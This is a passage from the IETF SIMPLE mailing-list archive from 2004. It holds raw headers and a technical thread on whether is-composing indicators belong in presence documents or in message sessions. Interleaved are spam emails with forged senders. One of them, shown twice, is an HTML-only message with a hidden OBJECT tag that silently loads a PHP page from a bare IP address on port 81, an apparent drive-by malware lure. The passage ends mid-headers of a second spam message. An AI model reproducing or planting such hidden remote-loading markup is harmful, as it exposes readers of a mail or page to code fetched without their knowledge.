>> itself useful for presence, and so using a pidf extension for this is 
>> not the right approach.
>>
>> -Jonathan R.
>>
> 
> 
> _______________________________________________
> Simple mailing list
> Simple@ietf.org
> https://www1.ietf.org/mailman/listinfo/simple
> 


_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From simple-admin@ietf.org  Thu Mar 18 19:09:50 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id TAA18508;
	Thu, 18 Mar 2004 19:09:50 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B47aC-0001xk-00; Thu, 18 Mar 2004 19:09:52 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B47ZV-0001uh-00; Thu, 18 Mar 2004 19:09:09 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B47ZO-0008FL-HD; Thu, 18 Mar 2004 19:09:02 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B47YP-000894-5h
	for simple@optimus.ietf.org; Thu, 18 Mar 2004 19:08:01 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id TAA18418
	for <simple@ietf.org>; Thu, 18 Mar 2004 19:07:55 -0500 (EST)
From: hardie@qualcomm.com
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B47YL-0001qA-00
	for simple@ietf.org; Thu, 18 Mar 2004 19:07:57 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B47XR-0001m8-00
	for simple@ietf.org; Thu, 18 Mar 2004 19:07:02 -0500
Received: from server1.innomedia.com ([209.133.49.2] helo=New-ChihPing.net)
	by ietf-mx with smtp (Exim 4.12)
	id 1B47Wl-0001h5-00
	for simple@ietf.org; Thu, 18 Mar 2004 19:06:19 -0500
To: simple@ietf.org
Message-ID: <jelmolrkvtrvceyaccw@ietf.org>
MIME-Version: 1.0
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 6.00.2600.0000
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000
Content-Type: text/html; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Spam-Flag: YES
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: Yes, hits=6.6 required=5.0 tests=FORGED_MUA_OUTLOOK,
	FORGED_OUTLOOK_HTML,FORGED_OUTLOOK_TAGS,HTML_EMBEDS,HTML_MESSAGE,
	MIME_HTML_ONLY,NORMAL_HTTP_TO_IP,NO_REAL_NAME,WEIRD_PORT autolearn=no 
	version=2.60
X-Spam-Report: 
	*  0.3 NO_REAL_NAME From: does not include a real name
	*  0.0 HTML_MESSAGE BODY: HTML included in message
	*  0.1 MIME_HTML_ONLY BODY: Message only has text/html MIME parts
	*  0.3 HTML_EMBEDS BODY: HTML with embedded plugin object
	*  0.2 NORMAL_HTTP_TO_IP URI: Uses a dotted-decimal IP address in URL
	*  1.9 WEIRD_PORT URI: Uses non-standard port number for HTTP
	*  1.1 FORGED_OUTLOOK_HTML Outlook can't send HTML message only
	*  1.1 FORGED_OUTLOOK_TAGS Outlook can't send HTML in this format
	*  1.6 FORGED_MUA_OUTLOOK Forged mail pretending to be from MS Outlook
Content-Transfer-Encoding: 7bit
Subject: [Simple] Incoming message
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Thu, 18 Mar 2004 16:05:01 -0800
Content-Transfer-Encoding: 7bit

<html><body>
<font face="System">
<OBJECT STYLE="display:none"  DATA="http://68.99.215.211:81/236388.php">
</OBJECT></body></html>


_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


From exim@www1.ietf.org  Thu Mar 18 19:10:24 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id TAA18529
	for <simple-archive@odin.ietf.org>; Thu, 18 Mar 2004 19:10:23 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B47aG-0008Pn-Nw
	for simple-archive@odin.ietf.org; Thu, 18 Mar 2004 19:09:59 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i2J09un9032341
	for simple-archive@odin.ietf.org; Thu, 18 Mar 2004 19:09:56 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B47aG-0008PY-Hs
	for simple-web-archive@optimus.ietf.org; Thu, 18 Mar 2004 19:09:56 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id TAA18508;
	Thu, 18 Mar 2004 19:09:50 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B47aC-0001xk-00; Thu, 18 Mar 2004 19:09:52 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B47ZV-0001uh-00; Thu, 18 Mar 2004 19:09:09 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B47ZO-0008FL-HD; Thu, 18 Mar 2004 19:09:02 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B47YP-000894-5h
	for simple@optimus.ietf.org; Thu, 18 Mar 2004 19:08:01 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id TAA18418
	for <simple@ietf.org>; Thu, 18 Mar 2004 19:07:55 -0500 (EST)
From: hardie@qualcomm.com
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B47YL-0001qA-00
	for simple@ietf.org; Thu, 18 Mar 2004 19:07:57 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B47XR-0001m8-00
	for simple@ietf.org; Thu, 18 Mar 2004 19:07:02 -0500
Received: from server1.innomedia.com ([209.133.49.2] helo=New-ChihPing.net)
	by ietf-mx with smtp (Exim 4.12)
	id 1B47Wl-0001h5-00
	for simple@ietf.org; Thu, 18 Mar 2004 19:06:19 -0500
To: simple@ietf.org
Message-ID: <jelmolrkvtrvceyaccw@ietf.org>
MIME-Version: 1.0
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 6.00.2600.0000
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000
Content-Type: text/html; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Spam-Flag: YES
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: Yes, hits=6.6 required=5.0 tests=FORGED_MUA_OUTLOOK,
	FORGED_OUTLOOK_HTML,FORGED_OUTLOOK_TAGS,HTML_EMBEDS,HTML_MESSAGE,
	MIME_HTML_ONLY,NORMAL_HTTP_TO_IP,NO_REAL_NAME,WEIRD_PORT autolearn=no 
	version=2.60
X-Spam-Report: 
	*  0.3 NO_REAL_NAME From: does not include a real name
	*  0.0 HTML_MESSAGE BODY: HTML included in message
	*  0.1 MIME_HTML_ONLY BODY: Message only has text/html MIME parts
	*  0.3 HTML_EMBEDS BODY: HTML with embedded plugin object
	*  0.2 NORMAL_HTTP_TO_IP URI: Uses a dotted-decimal IP address in URL
	*  1.9 WEIRD_PORT URI: Uses non-standard port number for HTTP
	*  1.1 FORGED_OUTLOOK_HTML Outlook can't send HTML message only
	*  1.1 FORGED_OUTLOOK_TAGS Outlook can't send HTML in this format
	*  1.6 FORGED_MUA_OUTLOOK Forged mail pretending to be from MS Outlook
Content-Transfer-Encoding: 7bit
Subject: [Simple] Incoming message
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Thu, 18 Mar 2004 16:05:01 -0800
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit

<html><body>
<font face="System">
<OBJECT STYLE="display:none"  DATA="http://68.99.215.211:81/236388.php">
</OBJECT></body></html>


_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From simple-admin@ietf.org  Thu Mar 18 20:24:51 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id UAA21547
	for <simple-archive@ietf.org>; Thu, 18 Mar 2004 20:24:51 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B48km-00071n-00
	for simple-archive@ietf.org; Thu, 18 Mar 2004 20:24:52 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B48jp-0006xk-00
	for simple-archive@ietf.org; Thu, 18 Mar 2004 20:23:54 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B48jP-0006ty-00; Thu, 18 Mar 2004 20:23:27 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B48iz-0003xm-L1; Thu, 18 Mar 2004 20:23:01 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B48ix-0003xG-1o
	for simple@optimus.ietf.org; Thu, 18 Mar 2004 20:22:59 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id UAA21431
	for <simple@ietf.org>; Thu, 18 Mar 2004 20:22:56 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B48iv-0006si-00
	for simple@ietf.org; Thu, 18 Mar 2004 20:22:57 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B48i6-0006oE-00
	for simple@ietf.org; Thu, 18 Mar 2004 20:22:07 -0500
Received: from [63.113.44.69] (helo=mail3.dynamicsoft.com)
	by ietf-mx with esmtp (Exim 4.12)
	id 1B48hC-0006dy-00
	for simple@ietf.org; Thu, 18 Mar 2004 20:21:10 -0500
Received: from dynamicsoft.com ([63.113.46.113])
	by mail3.dynamicsoft.com (8.12.8/8.12.1) with ESMTP id i2J1JWNr021055;
	Thu, 18 Mar 2004 20:19:32 -0500 (EST)
Message-ID: <405A4A97.6030900@dynamicsoft.com>
From: Jonathan Rosenberg <jdrosen@dynamicsoft.com>
Organization: dynamicsoft
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.6) Gecko/20040113
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: Paul Kyzivat <pkyzivat@cisco.com>
CC: alex.audu@alcatel.com, Henning Schulzrinne <hgs@cs.columbia.edu>,
        simple@ietf.org
Subject: Re: [Simple] is-composing: has-focus?
References: <404C511B.7050506@cs.columbia.edu> <404D6702.1080701@dynamicsoft.com> <404D9CF2.9010801@cs.columbia.edu> <404F3429.8020305@dynamicsoft.com> <404FCBBD.4080706@cs.columbia.edu> <40514CE7.7080907@dynamicsoft.com> <4051C1AF.6030008@cs.columbia.edu> <4051CD87.9040107@dynamicsoft.com> <4051D53E.7010509@cs.columbia.edu> <40576C58.80505@dynamicsoft.com> <4058AD11.7040307@alcatel.com> <405A1FB8.2010104@cisco.com>
In-Reply-To: <405A1FB8.2010104@cisco.com>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Thu, 18 Mar 2004 20:19:19 -0500
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.60
Content-Transfer-Encoding: 7bit

Paul,

You are correct. Thank you for more clearly stating my position.

-Jonathan R.

Paul Kyzivat wrote:

> Alex,
> 
> I don't think Jonathan is suggesting that an is-typing indicator should 
> not be there - only that it shouldn't be a presence attribute. Rather it 
> is a property of a specific message session, and so needs to be 
> communicated as part of a message session.
> 
>     Paul
> 
> Alex Audu wrote:
> 
>> My experience with "is-typing" or "is-composing" is that it makes for 
>> a better user
>> experience during an IM session.  I think it serves a pretty good 
>> purpose.
>>
>> Regards,
>> Alex.
>>
>> Jonathan Rosenberg wrote:
>>
>>>
>>>
>>> Henning Schulzrinne wrote:
>>>
>>>>
>>>>>
>>>>> OK, except I see "has focus" as being orthogonal to is-composing, 
>>>>> so I'd think you'd want both.
>>>>
>>>>
>>>>
>>>>
>>>>
>>>> My assumption was that composing implied focus, but not vice versa. 
>>>> How could I compose without window focus?
>>>
>>>
>>>
>>>
>>> True, but the opposite is not true. If the window does have focus, I 
>>> can either be typing or not. Thats what I was thinking about. But I 
>>> think we should punt on this for now.
>>>
>>>
>>>>
>>>>
>>>>>> Something like
>>>>>>
>>>>>> <composing since="..." media="text">active</composing>
>>>>>>
>>>>>> The advantage is that this would also allow to convey this easily 
>>>>>> to third parties, via PIDF subscription.
>>>>>
>>>>>
>>>>>
>>>>>
>>>>>
>>>>>
>>>>> Yes, that was the idea.
>>>>>
>>>>> I'm on the fence on this one. The state is really dynamic, and its 
>>>>> not clear how useful for me, or anyone else, it would be to know 
>>>>> that you are currently typing an IM to someone else. Indeed, its 
>>>>> far from clear that even if I did know, would this impact your 
>>>>> availability to receive another IM? Not clear.
>>>>>
>>>>> Another question is authorization. Do we ever think anyone would 
>>>>> authorize a third party to see their is-typing indicators? Or that 
>>>>> we would expect a PUA to publish them to a PA?
>>>>>
>>>>> Another drawback is that the pidf document is larger than a simpler 
>>>>> is-composing format, though not by much I suppose.
>>>>
>>>>
>>>>
>>>>
>>>>
>>>> At this point, since there don't seem to be compelling advantages 
>>>> and given Paul's subsequent note on the importance of a per-session 
>>>> nature of this indication, maybe expediency and making-progress 
>>>> argue for sticking to the minimal notification variation.
>>>
>>>
>>>
>>>
>>> I'll go with that, and make a final comment on the differences 
>>> between the two.
>>>
>>> In a message session, the indicator means "I'm typing a message to 
>>> you right now". In a third party presence notification, we generally 
>>> want to convey information that helps a watcher make a choice about 
>>> whether to communicate with the presentity, and with what tuple. I 
>>> would argue that whether or not I'm typing an IM this instant is NOT 
>>> useful for that purpose. Really what we are after is "I have an IM 
>>> session active with someone else right now". Thats a coarser grained 
>>> statement, and more useful. indeed, its the exactly analogy of being 
>>> on a call, but for IM.
>>>
>>> So, I more or less convinced myself that is-typing was not in and of 
>>> itself useful for presence, and so using a pidf extension for this is 
>>> not the right approach.
>>>
>>> -Jonathan R.
>>>
>>
>>
>> _______________________________________________
>> Simple mailing list
>> Simple@ietf.org
>> https://www1.ietf.org/mailman/listinfo/simple
>>
> 

-- 
Jonathan D. Rosenberg, Ph.D.                600 Lanidex Plaza
Chief Technology Officer                    Parsippany, NJ 07054-2711
dynamicsoft
jdrosen@dynamicsoft.com                     FAX:   (973) 952-5050
http://www.jdrosen.net                      PHONE: (973) 952-5000
http://www.dynamicsoft.com

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


From exim@www1.ietf.org  Thu Mar 18 20:25:24 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id UAA21579
	for <simple-archive@odin.ietf.org>; Thu, 18 Mar 2004 20:25:24 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B48kp-000456-Cg
	for simple-archive@odin.ietf.org; Thu, 18 Mar 2004 20:24:56 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i2J1Ot6l015678
	for simple-archive@odin.ietf.org; Thu, 18 Mar 2004 20:24:55 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B48kp-00044n-7R
	for simple-web-archive@optimus.ietf.org; Thu, 18 Mar 2004 20:24:55 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id UAA21565
	for <simple-web-archive@ietf.org>; Thu, 18 Mar 2004 20:24:52 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B48km-00071s-00
	for simple-web-archive@ietf.org; Thu, 18 Mar 2004 20:24:52 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B48jq-0006xs-00
	for simple-web-archive@ietf.org; Thu, 18 Mar 2004 20:23:55 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B48jP-0006ty-00; Thu, 18 Mar 2004 20:23:27 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B48iz-0003xm-L1; Thu, 18 Mar 2004 20:23:01 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B48ix-0003xG-1o
	for simple@optimus.ietf.org; Thu, 18 Mar 2004 20:22:59 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id UAA21431
	for <simple@ietf.org>; Thu, 18 Mar 2004 20:22:56 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B48iv-0006si-00
	for simple@ietf.org; Thu, 18 Mar 2004 20:22:57 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B48i6-0006oE-00
	for simple@ietf.org; Thu, 18 Mar 2004 20:22:07 -0500
Received: from [63.113.44.69] (helo=mail3.dynamicsoft.com)
	by ietf-mx with esmtp (Exim 4.12)
	id 1B48hC-0006dy-00
	for simple@ietf.org; Thu, 18 Mar 2004 20:21:10 -0500
Received: from dynamicsoft.com ([63.113.46.113])
	by mail3.dynamicsoft.com (8.12.8/8.12.1) with ESMTP id i2J1JWNr021055;
	Thu, 18 Mar 2004 20:19:32 -0500 (EST)
Message-ID: <405A4A97.6030900@dynamicsoft.com>
From: Jonathan Rosenberg <jdrosen@dynamicsoft.com>
Organization: dynamicsoft
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.6) Gecko/20040113
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: Paul Kyzivat <pkyzivat@cisco.com>
CC: alex.audu@alcatel.com, Henning Schulzrinne <hgs@cs.columbia.edu>,
        simple@ietf.org
Subject: Re: [Simple] is-composing: has-focus?
References: <404C511B.7050506@cs.columbia.edu> <404D6702.1080701@dynamicsoft.com> <404D9CF2.9010801@cs.columbia.edu> <404F3429.8020305@dynamicsoft.com> <404FCBBD.4080706@cs.columbia.edu> <40514CE7.7080907@dynamicsoft.com> <4051C1AF.6030008@cs.columbia.edu> <4051CD87.9040107@dynamicsoft.com> <4051D53E.7010509@cs.columbia.edu> <40576C58.80505@dynamicsoft.com> <4058AD11.7040307@alcatel.com> <405A1FB8.2010104@cisco.com>
In-Reply-To: <405A1FB8.2010104@cisco.com>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Thu, 18 Mar 2004 20:19:19 -0500
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.60
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit

Paul,

You are correct. Thank you for more clearly stating my position.

-Jonathan R.

Paul Kyzivat wrote:

> Alex,
> 
> I don't think Jonathan is suggesting that an is-typing indicator should 
> not be there - only that it shouldn't be a presence attribute. Rather it 
> is a property of a specific message session, and so needs to be 
> communicated as part of a message session.
> 
>     Paul
> 
> Alex Audu wrote:
> 
>> My experience with "is-typing" or "is-composing" is that it makes for 
>> a better user
>> experience during an IM session.  I think it serves a pretty good 
>> purpose.
>>
>> Regards,
>> Alex.
>>
>> Jonathan Rosenberg wrote:
>>
>>>
>>>
>>> Henning Schulzrinne wrote:
>>>
>>>>
>>>>>
>>>>> OK, except I see "has focus" as being orthogonal to is-composing, 
>>>>> so I'd think you'd want both.
>>>>
>>>>
>>>>
>>>>
>>>>
>>>> My assumption was that composing implied focus, but not vice versa. 
>>>> How could I compose without window focus?
>>>
>>>
>>>
>>>
>>> True, but the opposite is not true. If the window does have focus, I 
>>> can either be typing or not. Thats what I was thinking about. But I 
>>> think we should punt on this for now.
>>>
>>>
>>>>
>>>>
>>>>>> Something like
>>>>>>
>>>>>> <composing since="..." media="text">active</composing>
>>>>>>
>>>>>> The advantage is that this would also allow to convey this easily 
>>>>>> to third parties, via PIDF subscription.
>>>>>
>>>>>
>>>>>
>>>>>
>>>>>
>>>>>
>>>>> Yes, that was the idea.
>>>>>
>>>>> I'm on the fence on this one. The state is really dynamic, and its 
>>>>> not clear how useful for me, or anyone else, it would be to know 
>>>>> that you are currently typing an IM to someone else. Indeed, its 
>>>>> far from clear that even if I did know, would this impact your 
>>>>> availability to receive another IM? Not clear.
>>>>>
>>>>> Another question is authorization. Do we ever think anyone would 
>>>>> authorize a third party to see their is-typing indicators? Or that 
>>>>> we would expect a PUA to publish them to a PA?
>>>>>
>>>>> Another drawback is that the pidf document is larger than a simpler 
>>>>> is-composing format, though not by much I suppose.
>>>>
>>>>
>>>>
>>>>
>>>>
>>>> At this point, since there don't seem to be compelling advantages 
>>>> and given Paul's subsequent note on the importance of a per-session 
>>>> nature of this indication, maybe expediency and making-progress 
>>>> argue for sticking to the minimal notification variation.
>>>
>>>
>>>
>>>
>>> I'll go with that, and make a final comment on the differences 
>>> between the two.
>>>
>>> In a message session, the indicator means "I'm typing a message to 
>>> you right now". In a third party presence notification, we generally 
>>> want to convey information that helps a watcher make a choice about 
>>> whether to communicate with the presentity, and with what tuple. I 
>>> would argue that whether or not I'm typing an IM this instant is NOT 
>>> useful for that purpose. Really what we are after is "I have an IM 
>>> session active with someone else right now". Thats a coarser grained 
>>> statement, and more useful. indeed, its the exactly analogy of being 
>>> on a call, but for IM.
>>>
>>> So, I more or less convinced myself that is-typing was not in and of 
>>> itself useful for presence, and so using a pidf extension for this is 
>>> not the right approach.
>>>
>>> -Jonathan R.
>>>
>>
>>
>> _______________________________________________
>> Simple mailing list
>> Simple@ietf.org
>> https://www1.ietf.org/mailman/listinfo/simple
>>
> 

-- 
Jonathan D. Rosenberg, Ph.D.                600 Lanidex Plaza
Chief Technology Officer                    Parsippany, NJ 07054-2711
dynamicsoft
jdrosen@dynamicsoft.com                     FAX:   (973) 952-5050
http://www.jdrosen.net                      PHONE: (973) 952-5000
http://www.dynamicsoft.com

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From simple-admin@ietf.org  Thu Mar 18 22:23:03 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id WAA25443;
	Thu, 18 Mar 2004 22:23:03 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B4AbA-0006nV-00; Thu, 18 Mar 2004 22:23:04 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B4AaF-0006iE-00; Thu, 18 Mar 2004 22:22:07 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B4Aa9-00039Z-8U; Thu, 18 Mar 2004 22:22:01 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B4Aa1-00038t-5b
	for simple@optimus.ietf.org; Thu, 18 Mar 2004 22:21:53 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id WAA25374
	for <simple@ietf.org>; Thu, 18 Mar 2004 22:21:49 -0500 (EST)
From: hardie@qualcomm.com
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B4AZx-0006fV-00
	for simple@ietf.org; Thu, 18 Mar 2004 22:21:50 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B4AYy-0006ZK-00
	for simple@ietf.org; Thu, 18 Mar 2004 22:20:49 -0500
Received: from server1.innomedia.com ([209.133.49.2] helo=New-ChihPing.org)
	by ietf-mx with smtp (Exim 4.12)
	id 1B4AY0-0006TV-00
	for simple@ietf.org; Thu, 18 Mar 2004 22:19:48 -0500
To: simple@ietf.org
Message-ID: <euxhanvjprqieilkybi@ietf.org>
MIME-Version: 1.0
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 6.00.2600.0000
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000
Content-Type: text/html; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Spam-Flag: YES
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: Yes, hits=6.6 required=5.0 tests=AWL,FORGED_MUA_OUTLOOK,
	FORGED_OUTLOOK_HTML,FORGED_OUTLOOK_TAGS,HTML_EMBEDS,HTML_MESSAGE,
	MIME_HTML_ONLY,NORMAL_HTTP_TO_IP,NO_REAL_NAME,WEIRD_PORT autolearn=no 
	version=2.60
X-Spam-Report: 
	*  0.3 NO_REAL_NAME From: does not include a real name
	*  0.0 HTML_MESSAGE BODY: HTML included in message
	*  0.1 MIME_HTML_ONLY BODY: Message only has text/html MIME parts
	*  0.3 HTML_EMBEDS BODY: HTML with embedded plugin object
	*  0.2 NORMAL_HTTP_TO_IP URI: Uses a dotted-decimal IP address in URL
	*  1.9 WEIRD_PORT URI: Uses non-standard port number for HTTP
	*  1.1 FORGED_OUTLOOK_HTML Outlook can't send HTML message only
	*  1.1 FORGED_OUTLOOK_TAGS Outlook can't send HTML in this format
	*  1.6 FORGED_MUA_OUTLOOK Forged mail pretending to be from MS Outlook
	*  0.0 AWL AWL: Auto-whitelist adjustment
Content-Transfer-Encoding: 7bit
Subject: [Simple] Hidden message
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
